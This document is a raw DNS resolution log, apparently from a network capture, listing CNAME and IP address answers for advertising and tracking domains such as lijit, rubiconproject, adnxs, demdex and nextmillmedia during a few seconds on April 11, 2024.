Apr 11, 2024 23:28:11.626199961 CEST	1.1.1.1	192.168.2.17	0xd31f	No error (0)	nae.vap.lijit.com	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.626199961 CEST	1.1.1.1	192.168.2.17	0xd31f	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		44.193.52.224	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.626199961 CEST	1.1.1.1	192.168.2.17	0xd31f	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		54.91.33.154	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.626199961 CEST	1.1.1.1	192.168.2.17	0xd31f	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		34.203.174.126	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.626199961 CEST	1.1.1.1	192.168.2.17	0xd31f	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		44.197.125.101	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.626199961 CEST	1.1.1.1	192.168.2.17	0xd31f	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		34.224.113.69	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.626199961 CEST	1.1.1.1	192.168.2.17	0xd31f	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		54.89.142.157	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.626199961 CEST	1.1.1.1	192.168.2.17	0xd31f	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		44.215.152.106	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.626199961 CEST	1.1.1.1	192.168.2.17	0xd31f	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		52.207.168.180	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.705291986 CEST	1.1.1.1	192.168.2.17	0x78e	No error (0)	secure-assets.rubiconproject.com	digicertwc.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.706316948 CEST	1.1.1.1	192.168.2.17	0x5282	No error (0)	secure-assets.rubiconproject.com	digicertwc.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.739514112 CEST	1.1.1.1	192.168.2.17	0x36d7	No error (0)	ads.yieldmo.com	rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.739514112 CEST	1.1.1.1	192.168.2.17	0x36d7	No error (0)	rw.yieldmo.com	us-east-1.world.rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.739514112 CEST	1.1.1.1	192.168.2.17	0x36d7	No error (0)	us-east-1.world.rw.yieldmo.com	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.739514112 CEST	1.1.1.1	192.168.2.17	0x36d7	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		3.227.173.151	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.739514112 CEST	1.1.1.1	192.168.2.17	0x36d7	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		3.93.225.164	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.739514112 CEST	1.1.1.1	192.168.2.17	0x36d7	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		34.205.208.41	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.739514112 CEST	1.1.1.1	192.168.2.17	0x36d7	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		35.168.211.200	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.739514112 CEST	1.1.1.1	192.168.2.17	0x36d7	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		34.196.77.60	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.739514112 CEST	1.1.1.1	192.168.2.17	0x36d7	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		34.233.203.0	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.739514112 CEST	1.1.1.1	192.168.2.17	0x36d7	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		44.196.78.161	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.739514112 CEST	1.1.1.1	192.168.2.17	0x36d7	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		54.81.20.119	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.740200996 CEST	1.1.1.1	192.168.2.17	0x3168	No error (0)	ads.yieldmo.com	rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.740200996 CEST	1.1.1.1	192.168.2.17	0x3168	No error (0)	rw.yieldmo.com	us-east-1.world.rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.740200996 CEST	1.1.1.1	192.168.2.17	0x3168	No error (0)	us-east-1.world.rw.yieldmo.com	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.744112968 CEST	1.1.1.1	192.168.2.17	0x4e74	No error (0)	exchange.journeymv.com		54.87.249.239	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.744112968 CEST	1.1.1.1	192.168.2.17	0x4e74	No error (0)	exchange.journeymv.com		54.86.59.69	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.744112968 CEST	1.1.1.1	192.168.2.17	0x4e74	No error (0)	exchange.journeymv.com		35.168.157.66	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.817662001 CEST	1.1.1.1	192.168.2.17	0x241	No error (0)	ib.adnxs.com	g.geo.appnexusgslb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.817662001 CEST	1.1.1.1	192.168.2.17	0x241	No error (0)	g.geo.appnexusgslb.net	ib.anycast.adnxs.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:11.817662001 CEST	1.1.1.1	192.168.2.17	0x241	No error (0)	ib.anycast.adnxs.com		68.67.160.186	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.817662001 CEST	1.1.1.1	192.168.2.17	0x241	No error (0)	ib.anycast.adnxs.com		68.67.161.182	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.817662001 CEST	1.1.1.1	192.168.2.17	0x241	No error (0)	ib.anycast.adnxs.com		68.67.160.24	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.817662001 CEST	1.1.1.1	192.168.2.17	0x241	No error (0)	ib.anycast.adnxs.com		68.67.179.87	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.817662001 CEST	1.1.1.1	192.168.2.17	0x241	No error (0)	ib.anycast.adnxs.com		68.67.160.117	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.817662001 CEST	1.1.1.1	192.168.2.17	0x241	No error (0)	ib.anycast.adnxs.com		68.67.179.155	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.817662001 CEST	1.1.1.1	192.168.2.17	0x241	No error (0)	ib.anycast.adnxs.com		68.67.179.166	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.817662001 CEST	1.1.1.1	192.168.2.17	0x241	No error (0)	ib.anycast.adnxs.com		68.67.160.137	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.817662001 CEST	1.1.1.1	192.168.2.17	0x241	No error (0)	ib.anycast.adnxs.com		68.67.160.75	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.817662001 CEST	1.1.1.1	192.168.2.17	0x241	No error (0)	ib.anycast.adnxs.com		68.67.160.26	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.817662001 CEST	1.1.1.1	192.168.2.17	0x241	No error (0)	ib.anycast.adnxs.com		68.67.160.114	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.817662001 CEST	1.1.1.1	192.168.2.17	0x241	No error (0)	ib.anycast.adnxs.com		68.67.181.211	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.820574045 CEST	1.1.1.1	192.168.2.17	0xebc2	No error (0)	htlb.casalemedia.com			65	IN (0x0001)	false
Apr 11, 2024 23:28:11.820820093 CEST	1.1.1.1	192.168.2.17	0x303f	No error (0)	htlb.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:11.820820093 CEST	1.1.1.1	192.168.2.17	0x303f	No error (0)	htlb.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.053364038 CEST	1.1.1.1	192.168.2.17	0x2741	No error (0)	exchange.mediavine.com		54.208.143.66	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.053364038 CEST	1.1.1.1	192.168.2.17	0x2741	No error (0)	exchange.mediavine.com		18.214.192.183	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.053364038 CEST	1.1.1.1	192.168.2.17	0x2741	No error (0)	exchange.mediavine.com		3.211.252.87	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.053364038 CEST	1.1.1.1	192.168.2.17	0x2741	No error (0)	exchange.mediavine.com		54.197.122.101	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.053364038 CEST	1.1.1.1	192.168.2.17	0x2741	No error (0)	exchange.mediavine.com		18.214.197.65	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.053364038 CEST	1.1.1.1	192.168.2.17	0x2741	No error (0)	exchange.mediavine.com		3.89.95.99	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.101742983 CEST	1.1.1.1	192.168.2.17	0x8667	No error (0)	pagead-googlehosted.l.google.com		142.251.35.161	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.119473934 CEST	1.1.1.1	192.168.2.17	0xc0eb	No error (0)	ce.lijit.com	ce-ue1.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.119473934 CEST	1.1.1.1	192.168.2.17	0xc0eb	No error (0)	ce-ue1.lijit.com	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.119473934 CEST	1.1.1.1	192.168.2.17	0xc0eb	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		52.2.20.171	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.119473934 CEST	1.1.1.1	192.168.2.17	0xc0eb	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		35.172.0.124	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.119473934 CEST	1.1.1.1	192.168.2.17	0xc0eb	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		34.195.106.1	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.119473934 CEST	1.1.1.1	192.168.2.17	0xc0eb	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		3.227.143.142	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.119473934 CEST	1.1.1.1	192.168.2.17	0xc0eb	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		44.216.92.47	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.119473934 CEST	1.1.1.1	192.168.2.17	0xc0eb	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		52.204.102.159	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.119473934 CEST	1.1.1.1	192.168.2.17	0xc0eb	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		44.196.108.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.119473934 CEST	1.1.1.1	192.168.2.17	0xc0eb	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		3.232.70.209	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.120095968 CEST	1.1.1.1	192.168.2.17	0x4387	No error (0)	ce.lijit.com	ce-ue1.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.120095968 CEST	1.1.1.1	192.168.2.17	0x4387	No error (0)	ce-ue1.lijit.com	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.130647898 CEST	1.1.1.1	192.168.2.17	0xd94	No error (0)	gw-iad-bid.ymmobi.com	gw-iad-ym.yeahmobi.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.130647898 CEST	1.1.1.1	192.168.2.17	0xd94	No error (0)	gw-iad-ym.yeahmobi.com	bid-iad-static.yeahtargeter.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.130951881 CEST	1.1.1.1	192.168.2.17	0xdef	No error (0)	gw-iad-bid.ymmobi.com	gw-iad-ym.yeahmobi.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.130951881 CEST	1.1.1.1	192.168.2.17	0xdef	No error (0)	gw-iad-ym.yeahmobi.com	bid-iad-static.yeahtargeter.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.130951881 CEST	1.1.1.1	192.168.2.17	0xdef	No error (0)	bid-iad-static.yeahtargeter.com		47.253.61.56	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.135190010 CEST	1.1.1.1	192.168.2.17	0xbb13	No error (0)	dm-us.hybrid.ai		37.18.24.16	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.136024952 CEST	1.1.1.1	192.168.2.17	0x6e2e	No error (0)	cookies.nextmillmedia.com	nmm-use1-prod-alb-pbs-cookiesync-1017292304.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.136024952 CEST	1.1.1.1	192.168.2.17	0x6e2e	No error (0)	nmm-use1-prod-alb-pbs-cookiesync-1017292304.us-east-1.elb.amazonaws.com		174.129.202.176	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.136024952 CEST	1.1.1.1	192.168.2.17	0x6e2e	No error (0)	nmm-use1-prod-alb-pbs-cookiesync-1017292304.us-east-1.elb.amazonaws.com		52.0.165.201	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.136024952 CEST	1.1.1.1	192.168.2.17	0x6e2e	No error (0)	nmm-use1-prod-alb-pbs-cookiesync-1017292304.us-east-1.elb.amazonaws.com		44.195.5.162	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.136024952 CEST	1.1.1.1	192.168.2.17	0x6e2e	No error (0)	nmm-use1-prod-alb-pbs-cookiesync-1017292304.us-east-1.elb.amazonaws.com		35.170.111.82	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.136024952 CEST	1.1.1.1	192.168.2.17	0x6e2e	No error (0)	nmm-use1-prod-alb-pbs-cookiesync-1017292304.us-east-1.elb.amazonaws.com		54.227.149.130	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.136024952 CEST	1.1.1.1	192.168.2.17	0x6e2e	No error (0)	nmm-use1-prod-alb-pbs-cookiesync-1017292304.us-east-1.elb.amazonaws.com		3.217.59.243	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.136939049 CEST	1.1.1.1	192.168.2.17	0x30e8	No error (0)	cm-supply-web.gammaplatform.com		35.186.154.107	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.137967110 CEST	1.1.1.1	192.168.2.17	0x824e	No error (0)	cookies.nextmillmedia.com	nmm-use1-prod-alb-pbs-cookiesync-1017292304.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.138578892 CEST	1.1.1.1	192.168.2.17	0x958	No error (0)	sync.smartadserver.com	rtb-csync.smartadserver.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.138578892 CEST	1.1.1.1	192.168.2.17	0x958	No error (0)	rtb-csync.smartadserver.com	rtb-csync-geo.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.146039009 CEST	1.1.1.1	192.168.2.17	0x9730	No error (0)	gw-iad-bid.ymmobi.com	gw-iad-ym.yeahmobi.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.146039009 CEST	1.1.1.1	192.168.2.17	0x9730	No error (0)	gw-iad-ym.yeahmobi.com	bid-iad-static.yeahtargeter.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.146039009 CEST	1.1.1.1	192.168.2.17	0x9730	No error (0)	bid-iad-static.yeahtargeter.com		47.253.61.56	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.146286964 CEST	1.1.1.1	192.168.2.17	0xebb9	No error (0)	gw-iad-bid.ymmobi.com	gw-iad-ym.yeahmobi.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.146286964 CEST	1.1.1.1	192.168.2.17	0xebb9	No error (0)	gw-iad-ym.yeahmobi.com	bid-iad-static.yeahtargeter.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.155355930 CEST	1.1.1.1	192.168.2.17	0x4b0b	No error (0)	eus.rubiconproject.com	eus.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.156003952 CEST	1.1.1.1	192.168.2.17	0x33bf	No error (0)	eus.rubiconproject.com	eus.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.546060085 CEST	1.1.1.1	192.168.2.17	0x9db7	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.546060085 CEST	1.1.1.1	192.168.2.17	0x9db7	No error (0)	gslb-2.demdex.net	edge-va6.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.546060085 CEST	1.1.1.1	192.168.2.17	0x9db7	No error (0)	edge-va6.demdex.net	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.546207905 CEST	1.1.1.1	192.168.2.17	0x6b94	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.546207905 CEST	1.1.1.1	192.168.2.17	0x6b94	No error (0)	gslb-2.demdex.net	edge-va6.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.546207905 CEST	1.1.1.1	192.168.2.17	0x6b94	No error (0)	edge-va6.demdex.net	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.546207905 CEST	1.1.1.1	192.168.2.17	0x6b94	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		34.204.28.10	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.546207905 CEST	1.1.1.1	192.168.2.17	0x6b94	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		3.215.223.76	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.546207905 CEST	1.1.1.1	192.168.2.17	0x6b94	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		3.215.140.156	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.546207905 CEST	1.1.1.1	192.168.2.17	0x6b94	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		50.16.212.141	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.546207905 CEST	1.1.1.1	192.168.2.17	0x6b94	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		3.95.44.44	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.546207905 CEST	1.1.1.1	192.168.2.17	0x6b94	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		34.200.179.38	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.546207905 CEST	1.1.1.1	192.168.2.17	0x6b94	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		44.219.254.93	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.546207905 CEST	1.1.1.1	192.168.2.17	0x6b94	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		54.85.83.242	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.592725039 CEST	1.1.1.1	192.168.2.17	0xd98f	No error (0)	ads.scorecardresearch.com	d1tcwf12y4kqv3.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.593260050 CEST	1.1.1.1	192.168.2.17	0x7809	No error (0)	ads.scorecardresearch.com	d1tcwf12y4kqv3.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.593260050 CEST	1.1.1.1	192.168.2.17	0x7809	No error (0)	d1tcwf12y4kqv3.cloudfront.net		18.238.49.52	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.593260050 CEST	1.1.1.1	192.168.2.17	0x7809	No error (0)	d1tcwf12y4kqv3.cloudfront.net		18.238.49.74	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.593260050 CEST	1.1.1.1	192.168.2.17	0x7809	No error (0)	d1tcwf12y4kqv3.cloudfront.net		18.238.49.124	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.593260050 CEST	1.1.1.1	192.168.2.17	0x7809	No error (0)	d1tcwf12y4kqv3.cloudfront.net		18.238.49.99	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.635973930 CEST	1.1.1.1	192.168.2.17	0xd5a1	No error (0)	ap.lijit.com	vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.635973930 CEST	1.1.1.1	192.168.2.17	0xd5a1	No error (0)	vap.lijit.com	nae.vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.635973930 CEST	1.1.1.1	192.168.2.17	0xd5a1	No error (0)	nae.vap.lijit.com	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.636384964 CEST	1.1.1.1	192.168.2.17	0x2759	No error (0)	ap.lijit.com	vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.636384964 CEST	1.1.1.1	192.168.2.17	0x2759	No error (0)	vap.lijit.com	nae.vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.636384964 CEST	1.1.1.1	192.168.2.17	0x2759	No error (0)	nae.vap.lijit.com	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.636384964 CEST	1.1.1.1	192.168.2.17	0x2759	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		52.207.168.180	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.636384964 CEST	1.1.1.1	192.168.2.17	0x2759	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		54.156.37.190	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.636384964 CEST	1.1.1.1	192.168.2.17	0x2759	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		3.228.73.1	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.636384964 CEST	1.1.1.1	192.168.2.17	0x2759	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		3.211.145.99	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.636384964 CEST	1.1.1.1	192.168.2.17	0x2759	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		34.233.215.191	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.636384964 CEST	1.1.1.1	192.168.2.17	0x2759	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		34.239.215.57	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.636384964 CEST	1.1.1.1	192.168.2.17	0x2759	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		52.44.13.178	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.636384964 CEST	1.1.1.1	192.168.2.17	0x2759	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		54.172.175.187	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.638851881 CEST	1.1.1.1	192.168.2.17	0xbb78	No error (0)	openrtb-us-east-1.axonix.com	openrtb-dc11.axonix.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.639341116 CEST	1.1.1.1	192.168.2.17	0x4f1f	No error (0)	s.amazon-adsystem.com		52.46.128.147	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.640109062 CEST	1.1.1.1	192.168.2.17	0xe5c1	No error (0)	openrtb-us-east-1.axonix.com	openrtb-dc11.axonix.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.640109062 CEST	1.1.1.1	192.168.2.17	0xe5c1	No error (0)	openrtb-dc11.axonix.com		155.204.117.12	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.640109062 CEST	1.1.1.1	192.168.2.17	0xe5c1	No error (0)	openrtb-dc11.axonix.com		155.204.117.11	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.675597906 CEST	1.1.1.1	192.168.2.17	0x523e	No error (0)	cookies.nextmillmedia.com	nmm-use1-prod-alb-pbs-cookiesync-1017292304.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:12.675597906 CEST	1.1.1.1	192.168.2.17	0x523e	No error (0)	nmm-use1-prod-alb-pbs-cookiesync-1017292304.us-east-1.elb.amazonaws.com		52.0.165.201	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.675597906 CEST	1.1.1.1	192.168.2.17	0x523e	No error (0)	nmm-use1-prod-alb-pbs-cookiesync-1017292304.us-east-1.elb.amazonaws.com		44.195.5.162	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.675597906 CEST	1.1.1.1	192.168.2.17	0x523e	No error (0)	nmm-use1-prod-alb-pbs-cookiesync-1017292304.us-east-1.elb.amazonaws.com		54.227.149.130	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.675597906 CEST	1.1.1.1	192.168.2.17	0x523e	No error (0)	nmm-use1-prod-alb-pbs-cookiesync-1017292304.us-east-1.elb.amazonaws.com		35.170.111.82	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.675597906 CEST	1.1.1.1	192.168.2.17	0x523e	No error (0)	nmm-use1-prod-alb-pbs-cookiesync-1017292304.us-east-1.elb.amazonaws.com		174.129.202.176	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.675597906 CEST	1.1.1.1	192.168.2.17	0x523e	No error (0)	nmm-use1-prod-alb-pbs-cookiesync-1017292304.us-east-1.elb.amazonaws.com		3.217.59.243	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:12.677655935 CEST	1.1.1.1	192.168.2.17	0x9e04	No error (0)	cookies.nextmillmedia.com	nmm-use1-prod-alb-pbs-cookiesync-1017292304.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.018008947 CEST	1.1.1.1	192.168.2.17	0x7a52	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.018008947 CEST	1.1.1.1	192.168.2.17	0x7a52	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.018008947 CEST	1.1.1.1	192.168.2.17	0x7a52	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.018934965 CEST	1.1.1.1	192.168.2.17	0x5f1d	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.018934965 CEST	1.1.1.1	192.168.2.17	0x5f1d	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
